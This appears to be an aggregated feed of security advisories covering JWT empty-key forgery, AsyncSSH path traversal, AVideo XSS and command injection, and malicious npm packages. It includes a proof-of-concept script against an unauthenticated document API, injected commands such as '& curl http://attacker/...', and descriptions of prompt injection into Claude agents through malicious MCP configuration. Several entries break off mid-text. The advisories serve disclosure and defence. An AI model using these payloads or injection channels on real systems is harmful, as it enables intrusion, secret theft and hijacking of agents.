Search: github.com

A security flaw has been discovered in Sipeed PicoClaw up to 0.2.9. This affects the function webhook.ParseRequest of the file pkg/channels/line/line.go of the component LINE Webhook. The manipulation results in authentication bypass by capture-replay. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed automatically with the label "not planned" by a bot.

### Summary `joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or `None`. `HMACAlgorithm.sign` and `HMACAlgorithm.verify` in [`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever `OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key` only emits a `SecurityWarning` when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns `""`, or a `Hash.new("")`-style default verifies attacker tokens forged with `HMAC(key=b"", signing_input)` because the attacker trivially reproduces the same digest with no secret knowledge. This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated `authlib.jose` module by the same maintainer; filing this advisory against joserfc alongside a separate `authlib` advisory because the codebases are independent shipping artifacts on PyPI.) ### Affected versions `joserfc` (PyPI) `<= 1.6.7` (latest published release reproduces). No patched release. ### Privilege required Unauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode` with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to `""` or `None`. Common patterns that produce this state in production: - `OctKey.import_key(os.environ.get("JWT_SECRET", ""))` - A key finder callable that returns `""` / `None` for an unknown `kid` - Default values like `os.getenv("SECRET") or ""`, `cfg.get("secret", "")` - Database / Redis row lookup that returns `""` for a missing row ### Vulnerable code [`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70): ```python class HMACAlgorithm(JWSAlgModel): SHA256 = hashlib.sha256 SHA384 = hashlib.sha384 SHA512 = hashlib.sha512 def __init__(self, sha_type, recommended=False): self.name = f"HS{sha_type}" self.description = f"HMAC using SHA-{sha_type}" self.recommended = recommended self.hash_alg = getattr(self, f"SHA{sha_type}") self.algorithm_security = sha_type def sign(self, msg: bytes, key: OctKey) -> bytes: op_key = key.get_op_key("sign") return hmac.new(op_key, msg, self.hash_alg).digest() def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: op_key = key.get_op_key("verify") v_sig = hmac.new(op_key, msg, self.hash_alg).digest() return hmac.compare_digest(sig, v_sig) ``` [`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63): ```python @classmethod def import_key(cls, value, parameters=None, password=None) -> "OctKey": key: OctKey = super(OctKey, cls).import_key(value, parameters, password) if len(key.raw_value) < 14: # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final warnings.warn("Key size should be >= 112 bits", SecurityWarning) return key ``` The `< 14` check only warns; `len(key.raw_value) == 0` falls through and is returned to the caller. `HMACAlgorithm.verify` then calls `hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest())`, and Python's `hmac.new(b"", ...)` accepts the empty key. Cross-language sibling of ruby-jwt's fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb): ```ruby def ensure_valid_key!(key) raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String) raise_verify_error!('HMAC key cannot be empty') if key.empty? end ``` invoked from both `sign(signing_key:)` and `verify(verification_key:)`. PyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key` raises `InvalidKeyError("HMAC key must not be empty.")` for `len(key_bytes) == 0`). firebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a 256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the strongest existing length-warning logic but stops at `< 14 bytes` warn rather than `== 0` reject. ### How an empty `JWT_SECRET` reaches `hmac.new` 1. The application calls `joserfc.jwt.decode(value, key, algorithms=["HS256"])` where `key = OctKey.import_key("")` (or `OctKey.import_key(b"")`, or any custom path t

setup-php is a GitHub action to set up PHP with extensions, php.ini configuration, coverage drivers, and tools. From 2.25.0 prior to 2.37.1, shivammathur/setup-php resolves the PHP version from repository-controlled files such as .php-version, composer.lock through platform-overrides.php, and composer.json through config.platform.php, and insufficiently constrains those values before incorporating them into generated shell or PowerShell setup scripts, allowing command injection on a GitHub Actions runner when workflows such as pull_request_target check out attacker-controlled contents before invoking setup-php. This issue is fixed in version 2.37.1.

## Summary AsyncSSH 2.22.0 expands the OpenSSH-compatible `AuthorizedKeysFile` `%u` token with the raw SSH username during pre-authentication server config reload. A server configured with a documented per-user key pattern such as `AuthorizedKeysFile authorized_keys/%u` can be made to read an authorized-keys file outside the intended directory when the SSH username contains path traversal segments. If the attacker can place or reference a readable authorized-keys-format file containing their public key, the attacker can authenticate over SSH as the traversal username. ## Affected Product - Package: asyncssh - Ecosystem: pip - Affected versions: confirmed on 2.22.0; exact lower bound not finalized - Tested version: 2.22.0 - Audit commit/tag: tag `v2.22.0`, commit `af5a81e669633d83d535163f93b6bf3f957c9238` - PyPI sdist SHA256: `c3ce72b01be4f97b40e62844dd384227e5ff5a401a3793007c42f86a5c8eb537` ## Vulnerability Details - CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory - Component: AsyncSSH server config reload and public-key authentication (`asyncssh/config.py`, `asyncssh/connection.py`, `asyncssh/auth_keys.py`, `asyncssh/misc.py`) - Root cause: `%u` in `AuthorizedKeysFile` is expanded from the remote username without rejecting path separators or `..` segments, and the resulting path is opened without constraining it to the intended authorized-keys directory. - Security boundary violated: the configured authorized-keys directory and public-key authentication trust boundary. - Direct impact: public-key authentication succeeds using an attacker-selected authorized-keys file outside the intended directory. - Chain impact, if any: none claimed; direct authentication impact is primary. ## Attack Preconditions - The AsyncSSH server uses a config or equivalent pattern where `AuthorizedKeysFile` contains `%u`, for example `AuthorizedKeysFile authorized_keys/%u`. - Public-key authentication is enabled. - The attacker can place or reference a readable authorized-keys-format file outside the intended directory, such as a file in a world-writable or application-writable location. - The application does not separately reject usernames containing `/`, `\`, or `..` before AsyncSSH uses the username for key-file selection. ## Reproduction The run-scoped evidence contains a safe localhost proof: 1. Start the proof harness saved at [harness_app.py](https://github.com/user-attachments/files/27232526/harness_app.py) 2. Run [exploit_proof.py](https://github.com/user-attachments/files/27232538/exploit_proof.py) through [run_proof.sh](https://github.com/user-attachments/files/27232545/run_proof.sh) 3. The harness creates `sshd_config` with `AuthorizedKeysFile authorized_keys/%u`, writes the attacker's public key to a file outside `authorized_keys/`, starts a real AsyncSSH server, and attempts two SSH logins. 4. Expected result: the normal username `victim` fails, while the traversal username authenticates with the same attacker key. Observed proof output: ```text [CONTROL] username=victim success=False [ATTACK] username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub success=True [ATTACK] output=AUTH_BYPASS_SUCCESS username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub PASS: traversal username authenticated with attacker-controlled authorized_keys file ```

A missing authorization vulnerability was identified in GitHub Enterprise Server that allowed an authenticated user with write access to any repository to read metadata from private repositories they did not have access to, including private repository owners and names, branch names, commit SHAs, commit messages, and the pushing actor. The delegated bypass endpoint resolved a rule suite directly from an attacker-supplied, encoded identifier without verifying that the requesting user could read the rule suite's repository, and because these identifiers are sequential an attacker could enumerate them across the instance. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.22 and was fixed in versions 3.17.18, 3.18.12, 3.19.9, 3.20.5, and 3.21.3. This vulnerability was reported via the GitHub Bug Bounty program.

A security flaw has been discovered in mosaxiv clawlet up to 0.2.10. Impacted is the function list/remove of the file tools/tool_cron.go of the component cron Chat Tool. The manipulation results in missing authorization. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed with the label "not planned".

Out-of-bounds write vulnerability in Legion of the Bouncy Castle Inc. BC-LTS bcprov-lts8on on ARM allows Overflow Buffers. This vulnerability is associated with program files https://github.Com/bcgit/bc-lts-java/blob/main/native_c/arm/sha/shake.C, https://github.Com/bcgit/bc-lts-java/blob/main/native_c/arm/sha/sha3.C. This issue affects BC-LTS: from 2.73.0 before 2.73.12.1. Issue is only applicable if application involved is accepting memoable SHA3 / SHAKE states from potentially untrusted sources.

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

OkoBot is a malicious framework delivering over 20 payloads aimed at stealing cryptocurrency wallet seed phrases, credentials, and sensitive data. It spreads via ClickFix attacks and trojanized GitHub repositories. The infection chain involves multiple stages, starting with a PowerShell script that installs an SSH bot to collect system info and disable Windows Defender notifications. Key modules include browser injectors, fake seed phrase prompts targeting hardware wallets, keyloggers, and spyware that records video and keystrokes. The campaign has been active since early 2025 with a global reach, primarily impacting Brazil, Vietnam, Canada, Mexico, and Turkey. Indicators of compromise and detailed telemetry are available from Kaspersky. No official patch or remediation is noted.

MalwareBrazilVietnam+3

The @yeaft/webchat-agent npm package installs a user-level service that opens a WebSocket connection to a configurable server. This connection allows remote commands to spawn an interactive shell as the installing user, effectively providing full host code execution. The package also supports remote self-upgrade from a publisher-controlled registry and clones a GitHub repository on startup to install executable plugin hooks, enabling persistent remote code execution. These behaviors constitute a backdoor with a high risk of compromise for any system running the affected versions.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6693129f8b6f8b6c2d52722ca7746d6ef3dd792476297fa3583d3956548eb2b4) The package ships heavily obfuscated runtime files (dist/index.js, dist/launcher.js) built with javascript-obfuscator. The MCP server registered as the package's main entry exposes an `install_mcp` tool that fetches JSON from the hardcoded portal `prompt-injection-tool-portal.vercel.app` and passes its `install_command` field directly to `child_process.exec()` on the installer's host, giving the portal operator arbitrary shell execution with the installer's privileges. The launcher (invoked by every `salesbot1..10` bin entry) calls `fetchBundledMcps` against the same portal and, for each returned entry, spawns `npx -y <entry.package>` while injecting locally decrypted vault secrets into the child's env — the portal can name any npm package, including a freshly published attacker-owned one, and it will be downloaded and executed with those secrets on hand. The launcher also unconditionally spawns a detached `npm i -g @funny-booth/agent-core@latest` on every run, silently self-updating to whatever the publisher pushes next. The launcher additionally spawns the local `claude` CLI with a portal-supplied greeting/knowledge string prepended as the initial user prompt and a portal-controlled MCP config, providing a prompt-injection channel into the user's Claude agent session. The repository URL in package.json is `github.com/yutamatsuura/prompt-injection-tool` and the deliberate obfuscation of the portal endpoints, exec sink, and auto-update spawn is consistent with intentional concealment of these remote-execution channels.

Claude Code Action is a general-purpose GitHub action that runs Claude Code on GitHub pull requests and issues. Prior to 1.0.74, because the action checked out attacker-controlled pull request head branches, read .mcp.json from the working directory via default setting sources, and unconditionally enabled all project MCP servers via enableAllProjectMcpServers, an attacker who opened a pull request containing a malicious .mcp.json file could achieve arbitrary code execution on the GitHub Actions runner and exfiltrate secrets available to the workflow (such as API keys and tokens) when a privileged user or an automatic trigger invoked the Claude action on the pull request. This issue is fixed in version 1.0.74, which restores .claude/ and .mcp.json from the pull request base branch before the CLI runs.

On July 14, 2026, a coordinated supply chain attack compromised the @asyncapi npm organization, affecting five package versions across four packages. The attack originated from a GitHub Actions workflow vulnerability that exposed privileged credentials, enabling unauthorized code injection. Unlike typical postinstall attacks, this campaign executes at module import time, bypassing common npm install --ignore-scripts protections. The malicious code spawned hidden processes that fetched a second-stage payload from IPFS, deploying the Miasma modular runtime with command-and-control capabilities, persistence mechanisms, and credential harvesting features. The payload included disabled modules for supply-chain propagation, AI-tool poisoning, and sandbox evasion. All compromised packages were published through legitimate GitHub OIDC workflows with valid provenance signatures, masking the malicious activity within trusted release processes.

### Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. ### Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. ### PoC Tested on v1.13.0. #### 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` #### 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ </dev/null \ >/tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` #### 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. #### 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. #### 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 import json import sys import urllib.request import urllib.error HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_

## Summary A namespaced `FeatureFlagSource` or `InProcessConfiguration` resource can be referenced cross-namespace via the `openfeature.dev/featureflagsource` annotation using the documented `{NAMESPACE}/{NAME}` syntax. The operator resolves the referenced resource cluster-wide and materializes its contents (env vars, flagd sidecar arguments including `httpSyncBearerToken`, sync URIs, supporting ConfigMaps) into the referencing workload. On multi-tenant clusters that treat namespaces as trust boundaries, a tenant who can deploy a controller-owned workload in their own namespace can cause the operator to read another tenant's `FeatureFlagSource` / `InProcessConfiguration` spec contents. ## Impact - **Single-tenant clusters**: not impacted. - **Multi-tenant clusters using namespaces as trust boundaries**: tenant-to-tenant disclosure of any data placed inline in `FeatureFlagSource` / `InProcessConfiguration` spec, including `spec.envVars` literal values, `spec.httpSyncBearerToken`, and sync URIs. ## Behavior is documented The cross-namespace `{NAMESPACE}/{NAME}` annotation syntax is intentional and documented in [`docs/annotations.md`](https://github.com/open-feature/open-feature-operator/blob/main/docs/annotations.md) and [`docs/feature_flag_source.md`](https://github.com/open-feature/open-feature-operator/blob/main/docs/feature_flag_source.md). The operator's cluster-wide RBAC scope is intentional. Namespace-as-trust-boundary is not part of the operator's current stated security model. This advisory makes the tenancy assumption explicit and tracks the architectural change that will eliminate the implicit cross-namespace pattern. ## Corrections to the original report Two technical points in the original report require correction: 1. **`secretKeyRef` / `configMapKeyRef` cross-namespace disclosure is not possible via this path.** Kubelet resolves these as `LocalObjectReference` against the pod's own namespace; the operator does not bypass that. The actual disclosure surface is `FeatureFlagSource` / `InProcessConfiguration` spec contents the operator itself materializes (inline `envVars` values, `httpSyncBearerToken`, sync URIs). 2. **`create featureflagsources` is not a prerequisite.** The webhook rejects pods without OwnerReferences ([`pod_webhook.go:75-77`](https://github.com/open-feature/open-feature-operator/blob/main/internal/webhook/pod_webhook.go#L75)), so the prerequisite is `create` on a workload controller (`deployments`, `statefulsets`, `daemonsets`, `jobs`, `cronjobs`, `replicasets`) in a namespace the attacker controls. `FeatureFlagSource` create in any namespace is not required. ## Mitigations As with any Kubernetes CRD, treat the spec content of `FeatureFlagSource` and `InProcessConfiguration` as readable by anyone with read access to the resource, and don't place plaintext secrets in CR spec fields. Fields most likely to bite users: - `spec.sources[].source`, when the URI embeds credentials (e.g. `https://user:pass@host/repo`) - `spec.sources[].certPath`, if the path itself is sensitive - inline `spec.envVars[].value` (use `valueFrom.secretKeyRef` instead; kubelet enforces same-namespace resolution and the secret value is not stored in the CR) If developers treat namespaces as trust boundaries: - restrict `create` on `featureflagsources` / `inprocessconfigurations` via RBAC where feasible, ## Roadmap A future release will introduce explicit cluster-scoped CRDs (`ClusterFeatureFlagSource`, `ClusterInProcessConfiguration`) and remove implicit cross-namespace resolution. This is a breaking change tracked in [#847](https://github.com/open-feature/open-feature-operator/issues/847). ## Precedent This class of issue (authenticated namespace tenant abuses an unenforced cluster-wide surface that crosses an assumed namespace boundary) has Kubernetes precedent: CVE-2020-8554 (External IPs) was accepted as documented posture and mitigated via an opt-in admission plugin. ## Credit Reported by @0xVijay. Thanks for the disclosure. This appears to be an example of https://cwe.mitre.org/data/definitions/668.html. In terms of how it ended up here, it's more of an unimplemented security feature than an "bug". It seems to deviate from reasonable expectations and conventions in the K8s ecosystem. See https://nvd.nist.gov/vuln/detail/cve-2020-8554 as an example of a comparable vulnerability.

WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and page_title query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the users_id_online array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast page_title into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers. Successful attackers can can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session. This issue has been patched by https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16.

WWBN AVideo is an open source video platform. Versions 29.0 and below contain a stored Cross-Site Scripting vulnerability in the YouTubeAPI plugin. The plugin renders the snippet.title field returned by the YouTube Data API into the homepage gallery markup with no HTML encoding. The title is set by the YouTube video uploader (anyone in the world) and is treated by AVideo as trusted content. A YouTube uploader who controls a video matching the operator's configured query injects HTML into the AVideo homepage by setting their video's title to a JavaScript-bearing string; the payload then executes in the browser of every visitor who loads any page that renders the gallery. When the visitor is an AVideo administrator, the injected JavaScript performs any admin action (create user, promote to admin, change configuration, install plugin) that uses cookie-based authentication without an additional CSRF token, escalating the bug into full administrative takeover. The payload persists for the duration of cacheTimeout (default 3600 seconds) after the malicious title is set on YouTube and survives YouTube removing the hostile video for the same window. This issue has been addressed by commit https://github.com/WWBN/AVideo/commit/7292129eaee5f609beae103b5cb387d55f17b877.

WWBN AVideo is an open source video platform. Versions prior to 29.0 contain an unauthenticated Reflected XSS vulnerability through AVideo YouTubeAPI Gallery Pagination. The $_GET['search'] query parameter is concatenated directly into the href attribute of two pagination links in plugin/YouTubeAPI/gallerySection.php (lines 67 and 74) with no htmlspecialchars, no urlencode, and no allow-list check. An injected <script> element is then extracted by the AVideo Layout plugin and concatenated into a single trailing inline script block at the bottom of the page, where the browser executes it. Any unauthenticated attacker can lure a victim into following a crafted URL to execute arbitrary JavaScript under the AVideo origin, which can read non-HttpOnly cookies and issue authenticated AJAX requests as the victim, and when the victim is an administrator, it can perform any cookie-authenticated admin action (create user, promote to admin, change configuration, install plugin), escalating a single click into full administrative takeover. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/f50fc033b7adb36f1ffd6640e7826468bdafdec3.

WWBN AVideo is an open source video platform. Versions 29.0 and below contain a Stored XSS vulnerability through the autoEvalCodeOnHTML parameter in the MessageSQLite WebSocket Handler. The MessageSQLite.php handler only strips autoEvalCodeOnHTML from $json['msg'], but msgToResourceId() reads from $msg['json'] with higher priority. An attacker can place the XSS payload in the json key instead of msg, bypassing the sanitization entirely. An authenticated attacker can execute arbitrary JavaScript in any connected user's browser session via the WebSocket messaging system, stealing session cookies and authentication tokens, taking over accounts through session hijacking, and chaining with CSRF to perform admin actions on the victim's behalf, in the default SQLite WebSocket backend configuration. This issue has a patch that has yet to be officially released, see https://github.com/WWBN/AVideo/commit/3e0b3ce2bfa766183ff0ae227439394db57b1a23.

The SAP Cloud Application Programming Model is a tool for building enterprise-grade cloud applications, and cap-js/cds-dbs is the monorepo for SQL database services for that tool. On April 29, 2026, compromised versions of `@cap-js/sqlite@2.2.2`, `@cap-js/postgres@2.2.2`, and `@cap-js/db-service@2.10.1` were published. The malicious packages harvested credentials and attempted self-propagation. If a compromised version was installed, all credentials accessible on that machine (npm tokens, cloud provider credentials, SSH keys, GitHub PATs) should be considered compromised. User should upgrade to `@cap-js/sqlite` >= 2.4.0, `@cap-js/postgres` >= 2.3.0, `@cap-js/db-service` >= 2.11.0. If a compromised version was ever installed, rotate all affected credentials. No known workarounds are available.